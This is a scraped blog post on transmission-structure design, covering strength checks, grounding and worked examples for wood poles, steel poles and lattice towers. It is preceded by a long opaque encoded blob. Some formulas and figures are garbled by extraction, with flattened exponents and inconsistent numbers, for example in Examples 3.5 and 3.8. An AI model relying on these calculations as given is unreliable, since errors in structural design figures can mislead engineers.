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",
null
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https://www.letspal.com/blog/145/structure-design-of-transmission-tower-part-1/ | [
"Blogs\nCategories\n\n# Structure Design of Transmission Tower (Part-1)\n\n642 views\n\nThe actual design of a transmission structure not only involves checking the strength and suitability of various components, but also ensuring that all materials and components meet the requirements of the governing standards or codes. Important items such as grounding are also a part of final structure design configuration and are briefly reviewed.\n\n## 1-) Strength Checks\n\nThe following sections cover code-mandated design checks for wood poles, steel poles, lattice towers, concrete and composite poles. Formulae given in this section refer mostly to U.S. codes. Comparable equations from other codes are listed in Appendix 15.\n\n## 1-a) Wood Poles\n\nThe behavior of wood poles used as transmission structures is more complex than steel poles. The basic difference is in the material: wood is orthotropic with low flexural strength. Wood poles are generally sized for normal stresses due to bending and axial loads. A variety of other factors including moisture content, effect of bolt holes, defects and environmental deterioration etc. are also often considered.\n\nThe equations for computing the pole section moment capacity at a given elevation are:",
null,
"Wood pole grounding\n\nThe grounding of a wood pole begins at the pole top where the copper grounding wire is attached to the overhead ground or shield wire with a clamp. From that location, the grounding wire continues down the length of the pole, with down lead clamps every 12 in. (30.5 cm) intervals, and to a ground rod that is installed at a given distance from the pole. The grounding wire is run 18 in. (45.7 cm) below the ground and clamped to the rod. RUS Specifications 810 and 811 (1998) provides another way of grounding wood poles by using a butt wrap where the grounding wire from the pole top travels all the way down the pole and is wrapped in 3 or 4 rounds near the butt of the pole. For H-Frame type wood structures, the same grounding process is applied at both the poles. For additional information on several other methods of H-Frame grounding, the reader is referred to the above mentioned RUS Bulletins.\n\nThe grounding of a guyed wood pole depends on whether the shield wire is guyed or unguyed. If it is unguyed, then the procedure for a regular wood pole is adopted. If the shield wire is guyed, the grounding wire is clamped to the shield wire, and then bonded to the guy wire. The guy at the shield wire location then becomes the ground wire and the anchor acts as a ground rod. For additional information on other methods of guyed pole grounding, the reader is referred to the above mentioned RUS Bulletins.\n\nThe detail drawings given at the end of this Chapter shows several grounding techniques for wood poles. Examples 3.3, 3.4, 3.5, 3.6, 3.7 and 3.8 given below illustrate various concepts associated with wood pole design, namely, selection of pole class, buckling, selection of H-Frames and allowable spans for H-Frames and single poles.\n\nExample 3.3 A 55 ft. (16.76 m) Class 1 Douglas Fir (DF) wood pole shown below is subject to transverse loads from a 4-wire distribution circuit (3 phases and 1 neutral). Each load is 500 lbs. (2.23 kN). Assume 18 psf. (Extreme Wind) and neglect moments due to vertical loads. Assume P-Delta effects of 10% and that center of gravity of pole at half the height above ground. RUS Standards apply. Is Class 1 adequate?\n\nSolution:\n\nThe pole stands 47.5 ft. (14.48 m) above the ground and embedded 7.5 ft. (2.29 m) into the ground.",
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"Properties of Class 1 DF pole from pole tables:\n\ndt = 8.6 in. (21.6 cm) (Table A2.4)\n\ndGL = 14.6 in. (37.1 cm)\n\nMoment due to wire loads = (4) (500)*(47.5 − 5)/1000 = 85 kip-ft. (115.26 kN-m)\n\nMoment due to wind on pole = (18) (47.5) [(8.6 + 14.6)/(2)(12)](47.5/2)/1000 =\n\n19.63 kip-ft. (26.6 kN-m)\n\n(with pole CG assumed approximately at half pole height above ground. Exact value can be computed using a trapezium shape for the pole). Total Moment applied at GL = 85 + 19.63 = 104.63 kip-ft. (141.88 kN-m) Add 10% second order effects: 104.63 + 10.46 = 115.1 kip-ft. (156.1 kN-m) Ultimate capacity of a Class 1 DF pole can be calculated using pole classes,\n\nAppendix 2, Table A2.1 as: (47.5−2) (4500)/1000 = 204.75 kip-ft. (277.6 kN-m) Strength Reduction factor = 0.75 (for Extreme Wind; Table 2.15a and Load Factor of 1.0)\n\nAvailable Capacity = (0.75) (204.75) = 153.6 kip-ft. (208.2 kN-m) > 115.1 kip-ft. Therefore Pole is adequate.\n\nNote: Extreme Wind load case is not required for poles shorter than 60 ft. (18.3 m) above ground per NESC. However, RUS requires all poles be checked for this load case regardless of height.\n\nExample 3.4 Consider the following pole situation. Assume an Extreme Wind pressure of 21 psf. (1.0 kPa) and 8% second order effects. Determine the most suitable wood pole class. Note the incline (gain base) at the horizontal post insulators. Use Strength Factor for High Wind = 0.75 and Load Factor of 1.0.",
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"Solution:\n\nThe pole is 47.5 ft. above ground.\n\nMoment due to vertical loads MVL = [(300) (½) + (3)(1000) (3)]/1000 = 9.15 kip-ft. (12.41 kN-m)\n\nMoment due to horizontal loads MHL = (500) (47.5/1000) + (2000)([(41.5 + 1) + (33.5 + 1) + (25.5 + 1)])/1000 = 230.75 kip-ft. (312.9 kN-m)\n\nPole size not given; so assume Class H2 Douglas Fir (DF) pole\n\nPole diameter at top = 9.9 in. (25.1 cm)\n\nPole diameter at GL = 16.35 in. (41.5 cm)\n\nAverage diameter from GL to top = (9.9 + 16.35)/2 = 13.1 in. (33.3 cm)\n\nMoment due to wind on pole MWP = (21) (47.5) (13.1/12) (47.5/2) (1/1000) = 25.9 kip-ft. (35.1 kN-m)\n\n(with pole CG assumed approximately at half pole height above ground. Exact value can be computed using a trapezium shape for the pole).\n\nTotal moment due to wire and wind loads = 9.15 + 230.75 + 25.9 = 265.8 kip-ft. (360.4 kN-m)\n\nP-Delta secondary effects = 8% of total moment = (0.08) (265.8) = 21.3 kip-ft. (28.8 kN-m)\n\nTotal applied moment = 265.8 + 21.3 = 287.1 kip-ft. (389.3 kN-m)\n\nStrength Factor = 0.75\n\nRequired lateral load capacity for determining pole class = (287.1) (1000/[(47.5-2) (0.75)] = 8,413 lbs. (37.4 kN)\n\nLateral Load rating for Class H4 = 8,700 lbs. (Appendix 2, Table A2.1) USE 55 ft. Class H4.\n\n(The student should re-check pole strength with the revised pole diameter of a H4 pole). Note: Extreme Wind load case is not required for poles shorter than 60 ft. (18.3 m) above ground per NESC. However, RUS requires all poles be checked for this load case regardless of height.\n\nExample 3.5 Determine the ultimate buckling capacity of the multi-guyed wood pole system for the 90 deg. DDE (double deadend) guying configuration. Use the Gere-Carter formula. The pole is guyed in both planes and all guys are inclined to the pole at 45◦ angle. Other data is as follows:",
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"E = 1800 ksi (12.4 GPa)\n\nSpacing between phase wires = 10 ft. (3.05 m)\n\nDistance from lowest phase to ground L = 46 ft. (14 m)\n\nPole top diameter = 8.6 in. (21.84 cm)\n\nPole diameter at ground line = 16.8 in. (42.9 cm)\n\nSolution:\n\nThe largest unsupported column is the 46 ft. segment between the ground and the lowest guy. Therefore, using the Gere-Carter formula (Equation 3.5) for this segment and assuming fixed-pinned end conditions:\n\nPcr = 2π2EIa/L2 ∗ (dg/da) 2\n\nPole taper = (16.8 − 8.6)/(46) = 8.2/46 = 0.187 in./ft.\n\nPole diameter at lowest guy = 8.6 + (30) (0.187) = 14.21 in. (36.1 cm) = da\n\nIA = moment of inertia at the location of the lowest guy = (3.1416) (14.214/64) = 2001.5 in4 (83307.1 cm4)\n\nPcr = [(2) (3.14162) (1800) (2001.5)/[(46) (12)]2] (16.8/14.21)2 = 326.2 kips (1451.7 kN)\n\nUse a factor of safety of 3.0 since this is a DDE.\n\nDesign buckling capacity = 326.2/3 = 108.7 kips (483.9 kN)\n\nExample 3.6 Discuss the various situations where you would recommend the below H-Frame systems.",
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"Solution:\n\n(a) Preferred at small to moderate spans on flat terrains. Lateral soil pressure more important for foundation checks given absence of X-bracing.\n\n(b) Used at moderate to large horizontal (wind) spans where transverse loads due to wind control design. Bearing and uplift are more dominant than lateral soil pressure.\n\n(c) This design is used for larger vertical (weight) spans on uneven and hilly terrains.\n\n(d) Preferred choice for large wind and weight spans and higher voltages. A double cross arm can be adopted for large weight spans; an extra X-Brace can help reduce frame bending.\n\nExample 3.7 For the 69 kV braced wood H-Frame shown below, with three (3) phase conductors and two (2) overhead ground wires, determine the maximum allowable wind and weight spans, for Extreme Wind load case, based on the strength of X-Braces. Use 10% reduction in span to account for P-Delta effects and a vertical span to horizontal span ratio of 1.15 to account for uneven terrain.\n\nThe following data applies to the problem:\n\nPoles 55 ft. Class 1 DF; Embedment = 7.5 ft. (2.29 m)\n\nHeight of pole above ground = h = 55 − 7.5 = 47.5 ft. (14.48 m)\n\nPole spacing = b = 10.5 ft. (3.20 m)\n\nPole diameter at top = dt = 8.6 in. (21.84 cm) or 0.716 ft. (See Table A2.4)\n\nPole diameter at ground line G = dG = 14.6 in. (37.1 cm) or 1.216 ft.",
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"Pole diameter at B = dB = 9.48 in. (24.1 cm) or 0.790 ft.\n\nPole diameter at E = dE = 10.37 in. (26.3 cm) or 0.864 ft.\n\nPole diameter at D = dD = 11.7 in. (29.7 cm) or 0.975 ft.\n\nPole diameter at C = dC = 12.93 in. (32.8 cm) or 1.078 ft. Moment capacity at ground line = MG = 204.75 kip-ft. (277.6 kN-m) (See Example E3.3)\n\nDistance of OHGW from pole top = g = 6 in. (0.15 m)\n\nDistance of Cross Arm from pole top = y1 = 7 ft. (2.13 m)\n\nDistance of X-Brace from pole top = y = 14 ft. (4.27 m) x = h − y − b = 47.5 − 14 − 10.5 = 23 ft. (7.01 m)\n\nLoad Factor LF = 1.00 (Extreme Wind)\n\nWind pressure q = 21 psf. (1 kPa) (Extreme Wind)\n\nWeight of bare conductor per unit length = wc = 1.10 plf. (16.06 N/m)\n\nWeight of bare ground wire per unit length = wg = 0.40 plf. (5.84 N/m)\n\nWind load per unit length on conductor = pc = 1.75 plf. (25.55 N/m)\n\nWind load per unit length on ground wire = pg = 0.70 plf. (10.22 N/m) (Wind loads refer to Extreme Wind case, bare wire with no ice).\n\nXBS = Strength of X-Braces = 28, 300 lbs. (125.94 kN)\n\nSolution:\n\nDetermine location of pt:\n\npt = total horizontal force per unit length = (2)(pg) + (3)(pc) = (2)(0.70) + (3) (1.75) = 6.65 plf. (97.1 N/m)\n\nTo determine location of pt, use moment equilibrium about pole top.\n\n(pt)(distance of pt from pole top, z) = (2)(pg)(g) + (3)(pc)(y1)\n\nFrom which, distance of pt from pole top, z = [(2)(pg)(6/12) + (3)(pc)(7)]/pt = [(2) (0.70)(0.5) + (3)(1.75)(7)]/6.65 = 5.63 ft. (1.72 m)\n\nh1 = h − z = 47.5 − 5.63 = 41.9 ft. (12.76 m)\n\nDetermine xo:\n\ndD = 11.7 in. → CD = πdD = 36.76 in. (93.36 cm) or 3.063 ft.\n\ndG = 14.6 in. → CG = πdG = 45.87 in. (116.51 cm) or 3.822 ft.\n\nFrom Equation 3.3a:\n\nx0/x = CG(2CG + CD)/2(C2 G + CGCD + C2 D) = 0.573\n\nxo = (0.573)(x) = (0.573)(23) = 13.18 ft. (4.02 m)\n\nh2 = h1 − xo = 41.9 − 13.18 = 28.72 ft. (8.75 m)\n\nStrength Factor ϕ = 0.75 (Extreme Wind)\n\nMaximum Horizontal Span (HS) based on X-Brace strength is given by Equation 3.3f.\n\nHSX = {[ϕ ∗ XBS ∗ b] − [2 ∗ LF ∗ q ∗ (h − x0) 2 ∗ (2dt + dC)/6}/(LF ∗ pt ∗ h2) = {[(0.75)(28300)(10.5)] − [(2)(1.0)(21)(47.5 − 13.18)2((2)(0.716) + 1.078)]}/6 / [(1.0)(6.65)(28.72)] = (222, 862.5 − 20964.2)/190.988 = 1, 058.5 ft. (322.64 m)\n\nReduce 10% due to P-Delta effects.\n\nHSX = (0.90) (1058.5) = 952.65 ft. (290.4 m)\n\nMaximum Vertical Span (VS) for VS/HS ratio 1.15:\n\nVS = (1.15) (952.65) = 1,095.55 ft. (333.9 m)\n\nExample 3.8\n\n(a) Determine the allowable horizontal span for the tangent pole with post insulators shown below for the case of Extreme Wind at 21 psf (1005 Pa). The pole is a 75 ft (22.86 m) Class 1 Douglas-Fir wood pole with a ground line bending moment capacity of 283.5 kip-ft (384.4 kN-m). Other data is as follows:",
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"Strength Factor for Wood Pole SF = 0.75 for Extreme Wind The overhead ground wire is 3/8’’ EHS and conductors are 477 ACSR 18/1, Pelican. Insulators are horizontal posts as shown. Assume level terrain and ignore deflection effects. Also assume wind span = weight span.\n\n(b) Determine the effects of using LFv = LFt = 1.10\n\n(c) Determine the allowable span if bundled conductors are used (2 wires per insulator).\n\nSolution:\n\n(a) Let the allowable horizontal span be H.\n\nFrom wire tables in RUS Bulletin 200, the following data on the ground wire and conductor are obtained.\n\nDiameter ground wire = 0.360 in. (9.1 mm)\n\nconductor = 0.814 in. (20.7mm)\n\nVertical wgw = 0.273 plf (3.98 N/m) wcon = 0.518 plf (7.56 N/m)\n\nCompute unit loads due to wind on wires.\n\nWind pgw = (21)(0.36)(1/12) = 0.630 plf (9.19 N/m)\n\npcon = (21)(0.814)(1/12) = 1.425 plf (20.8 N/m)\n\nCompute vertical and transverse (wind) loads on the pole for a span of H.\n\nDue to ground wire weight = (wgw)(H)(LFv)\n\nDue to conductor weight = (wcon)(H)(LFv)\n\nDue to wind on ground wire = (pgw)(H)(LFt)\n\nDue to wind on conductor = (pcon)(H)(LFt)\n\nCompute bending moment at ground line due to above loads for LFv = LFt = 1.0.\n\nMoment due to vertical load at ground wire = wgw H LFv (6/12) = 0.5 wgw H\n\nMoment due to vertical load at conductor = wcon H LFv(2)(3 wires) = 6 wcon H\n\nMoment due to wind load at ground wire = pgw H LTt (75 − 9.5 − 0.5) = 65 pgw H\n\nMoment due to wind load at conductor = pcon H WLF (49.5 + 55.5 + 61.5) = 166.5 pcon H\n\nPole Data pole top diameter = 8.6 in. 21.8 cm) ground line diameter = 16.3 in. (41.4 cm) average diameter = (8.6 + 16.3)/2 = 12.45 in. (31.6 cm) pole height above ground = 65.5 ft. (19.96 m)\n\nMoment due to wind on pole = (21) (12.45/12)(0.5)(65.52)/1000 = 46.74 kip-ft. (63.4 kN-m)\n\nTotal Applied Moment = MA = 0.5 wgw H + 6 wcon H + 65 pgw H + 166.5 pcon H + (46.74) (1000) = [0.5 wgw + 6 wcon + 65 pgw + 166.5 pcon] H + 46,740 = [(0.5) (0.273) + (6) (0.518) + (65) (0.63) + (166.5) (1.425)] (H) + 46, 740 = (281.46) (H) + 46, 740 lb-ft\n\nMA ≤ (SF) (Mcap) ≤ (0.75) (283.5) (1000) lb-ft\n\n281.46 H ≤ 212,625 − 46,740 = 165,885 lb-ft\n\nH = 589.4 ft. (179.6 m)\n\n(b) For load factors of 1.10, the allowable horizontal span will be H = 589.4/1.10 = 535.8 ft. (163.3 m) That is, increasing the load factors to 1.10 resulted in a 9% reduction in allowable span.\n\n(c) For bundled conductors, the parameters affected will be the weight and wind load at conductor points.\n\nwcon = (2) (0.518) = 1.036 plf (15.12 N/m)\n\npcon = (2) (1.425) = 2.850 plf (41.6 N/m)\n\nMA = [(0.5) (0.273) + (6) (1.036) + (65) (0.63) + (166.5) (2.85)] (H) + 46, 470 ≤ (0.75)(283,500) 521.83 H ≤ 165,885\n\nH = 317.9 ft. (96.9 m)\n\nThat is, bundling the conductors resulted in almost half the allowable span. (Note: In a 2-wire horizontal bundle, one conductor shields the other; but this shielding is ignored for conservative purposes).\n\n## 1-b) Steel Poles\n\nSteel poles are sized for bending, axial and shear stresses, supplemented by local buckling checks given the width-to-thickness ratios and stress interaction. The equations for computing the pole section moment capacity at a given elevation are the same as wood except that geometrical properties are a function of shaft thickness and diameter and are given in Appendix A3. The overall usage of a tubular steel pole is determined with reference to the most highly stressed quadrant of the cross section. This is given by the ASCE interaction equation shown in PLS-POLETM:",
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"Section properties for various steel pole cross sections are given in Appendix 3. Other design checks per ASCE 48-11 are as follows:\n\nPermissible Compressive Stress: Rectangular, Hexagonal and Octagonal Members",
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"Note: If the axial stress is greater than 1 ksi (6.9 MPa), Equations 3.9 of Dodecagonal members shall be used for rectangular members.\n\nPermissible Compressive Stress: Dodecagonal Members",
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"Permissible Compressive Stress: Hexdecagonal Members",
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"Steel davit arms\n\nThe most common structures with davit arms are tangent (suspension) and light angle poles. Longer davit arms facilitate greater phase separation without increase in structure height. Upswept davit arms are often used for aesthetic reasons with the upsweep ranging from 6 in. (15.2 cm) to 18 in. (45.7 cm). The length and vertical spacing of davit arms depend on required phase separation for that particular voltage, clearances for insulator swing, galloping conditions etc. Arms are also employed for shield wires to reduce the shielding angle and improve lightning protection. Such arm lengths are determined solely by the required shielding angle.\n\nOther than some nominal guidance offered in ASCE 48-11, there is no standardized design method for steel davit arms. Designs are generally based on empirical approaches, finite element analysis as well as inferences from full-scale testing. Davit arms with suspension or light angle insulators are usually designed as a cantilever subject to vertical and transverse loads. Stress checks for steel davit arms are similar to those of steel pole shafts described in the previous section. If PLS-POLETM program can be used for design, then axial, shear, bending and torsional stresses produced by each load case are checked.\n\nConnections to the steel pole usually involve brackets with pin-type bolts transferring flexure and shear effects. For double circuit structures, where davit arms are needed on both sides of the pole, the connection involves brackets with through plates. In a majority of cases, the pole maker or fabricator designs, fabricates and details the davit arms. Wind-induced vibration of unloaded davit arms is a big concern during construction; weights are often suspended from the arm tips to provide some damping. Another means of reducing vibration effects is to tie the arm tips with a cable to the pole.\n\nItems such as vangs welded to steel poles for installing running angle or strain insulators are designed for full tension effects. Vangs are fabricated and welded to the pole shaft prior to galvanizing.\n\nBase plates\n\nCurrently only one design guide is available – AISC (2006) – to provide guidance for analysis and design of base plates for tubular steel poles supported by concrete piers.\n\nPole fabricators also have in-house and proprietary design processes which vary widely from one manufacturer to another. However, ASCE 48-11 outlines a procedure based on effective bend lines and a 45◦ bend-line limitation. The manual also gives equations to calculate effective anchor bolt loads, base plate stresses and plate thickness.\n\nSteel pole grounding\n\nSteel transmission poles are usually provided with a metal grounding pad welded to the side of the pole about 12 in. (30.5 cm) to 18 in. (45.7 cm) above the ground or base plate. The shield wire is bonded to the steel pole near the pole top with a copper (grounding) wire and a stainless steel nut. Grounding rods, if used, are usually installed about 3 ft. (0.9 m) from the pole connected to the ground pad. Examples 3.9, 3.10 and 3.11 given below illustrate some concepts associated with steel pole design, namely, thickness requirement and determination of number of anchor bolts for a pole transferring moment to the base plate and concrete pier.\n\nExample 3.9\n\nAn 80 ft. (24.4 m) steel pole has been rated for a GL moment capacity of 280 kip-ft. (379.7 kN-m). The pole diameters are 8.7 in. (22.1 cm) at the top and 20.4 in. (51.8 cm) at the butt. These are mean diameters measured to the midpoint of the thickness across the flats. Assume 12-sided cross section, uni-axial bending about X-axis, a material yield stress of 65 ksi (448.2 MPa) and standard embedment of 10% + 2 ft. Neglect axial, shear and torsional stresses. Determine the approximate pole shaft thickness required. Verify if thickness satisfies local buckling criteria.\n\nSolution:",
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"Therefore four assumption about width-to-thickness ratio is valid. (See Table A3.8 to verify this analysis).\n\nExample 3.10\n\nFor the dual use pole system shown below, determine the required pole height. The transmission circuit is 3-phase 161 kV and the under-build distribution is 34.5 kV. Assume sag of the transmission and distribution conductors as 8.0 ft. (2.44 m) and 6.0 ft. (1.83 m), respectively. Use Tables 2.6a-1, 2.6b-1 and 2.7. Assume a buffer of 2.0 ft. (0.61 m) for ground clearance.\n\nSolution:\n\nThe process basically involves determining the various wire spacing associated with the system. From Table 2.6a-1: Required ground clearance for 34.5 kV = 18.7 ft. (5.7 m) From Table 2.7: S = shield wire to phase separation = 4.3 ft. (1.31 m) P = phase to phase clearance = 6.7 ft. (2.04 m) Sag of transmission conductor = 8.0 ft. (2.44 m) C1 = clearance from sagged 161 kV wire to 34.5 kV wire = 7.0 ft. (2.13 m) (Table 2.6b-1)",
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"Sag of distribution conductor = 6.0 ft. (1.83 m)\n\nTherefore required height of the pole above ground is:\n\nH = 4.3 + 6.7 + 6.7 + 8.0 + 7.0 + 6.0 + 18.7 + 2.0 = 59.4 ft. (18.11 m) Consider a 70 ft. (21.34 m) pole with 9 ft. (2.74 m) embedment De giving 61 ft. (18.6 m) above ground. 70 ft.\n\nExample 3.11\n\nDetermine the approximate number of anchor bolts required for the following situation:\n\nPole GL diameter = 48 in. (121.9 cm)\n\nMoment transmitted from pole loads = 4800 kip-ft. (6509 kN-m)\n\nUse ASTM A615 #14 anchor bolts (1.75 in. diameter) with a ultimate tensile strength of 100 ksi. (689 MPa). Assume 5 threads per inch. Consider bending effects only.\n\nSolution:\n\n(The aim of this problem is to illustrate a quick approximate method for determining the preliminary number of anchor bolts needed for a steel pole with a base plate. The exact number must be determined either by a detailed analysis per ASCE 48-11 or via the PLS-POLETM program.)\n\nThe relationship between pole shaft, base plate, anchor bolt circle and pier is shown below. For the 48 in. diameter pole shaft, the approximate size of the anchor bolt circle is 54 in (see Figure 5.9 in Chapter 5). Assume all anchor bolts arranged in a circular fashion.",
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"Distance to the nearest anchor bolt from shaft center = 54/2 = 27 in. (76.2 cm) From ASCE 48-11, cross sectional stress area of an anchor bolt A = (π/4) [d − (0.9743/n)]2\n\nWhere ‘n’ is the number of threads per unit length. A = (3.1416/4) [1.75 − (0.9743/5)]2 = 1.90 in2 (1225.5 mm2) (Area reduction due to bolt threads is often considered during such calculations). Permitted tensile stress in anchor bolt = 0.75 Fu Capacity of a single anchor bolt = (1.90) (100)(0.75) = 142.5 kips (634.1 kN) Number of anchor bolts required = Moment/(bolt capacity)(lever arm) = (4800)(12)/(142.5)(27) = 14.9 or 15 per half circle Use 30 anchor bolts for the whole pole, arranged in a circular fashion.\n\n## 1-c) Lattice Towers\n\nDesign checks given below for angle members in steel lattice towers refer to ASCE 10-15 (2015) and include allowable slenderness ratios and associated tensile and compressive stresses in steel angles. TOWER™ program also determines the usage level of each member group based on ASCE. Connection checks include bolt shear, bearing, block shear capacity and tensile rupture.\n\nCompression Capacity is the minimum of:\n\n(a) Member compressive strength based on slenderness ratio, kL/r\n\n(b) Connection shear capacity\n\n(c) Connection bearing capacity\n\nTension Capacity is the minimum of:\n\n(a) Member tensile strength based on net section\n\n(b) Connection rupture\n\n(c) Connection shear capacity\n\n(d) Connection bearing capacity",
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"Then the revised design compressive stress (Fa) is obtained by replacing Fy in Equation 3.17a, and in Cc, with Fcr given below.",
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"In all equations above, ψ = 1 for stress in ksi and 2.62 if stress is in MPa.\n\nCompressive capacity of the angle member is given by the design compressive stress from above equations times the gross cross sectional area.\n\nEffective Lengths of Angle Members\n\nFor leg members bolted in both faces:\n\nkL/r = L/r for 0 ≤ L/r ≤ 150 (3.20a)\n\nUnsupported panels\n\nFor other compression members with concentric load at both ends:\n\nkL/r = L/r for 0 ≤ L/r ≤ 120 (3.20b)\n\nFor other compression members with concentric load at one end and normal framing eccentricity (NFE) at the other:\n\nkL/r = 30 + 0.75L/r for 0 ≤ L/r ≤ 120 (3.20c)\n\nFor other compression members with NFE at both ends:\n\nkL/r = 60 + 0.50L/r for 0 ≤ L/r ≤ 120 (3.20d)\n\nFor other compression members unrestrained against rotation at both ends:\n\nkL/r = L/r for 120 ≤ L/r ≤ 200 (3.20e)\n\nFor other compression members partially restrained against rotation at one end:\n\nkL/r = 28.6 + 0.762L/r for 120 ≤ L/r ≤ 225 (3.20f)\n\nFor other compression members partially restrained against rotation at both ends:\n\nkL/r = 46.2 + 0.615L/r for 120 ≤ L/r ≤ 250 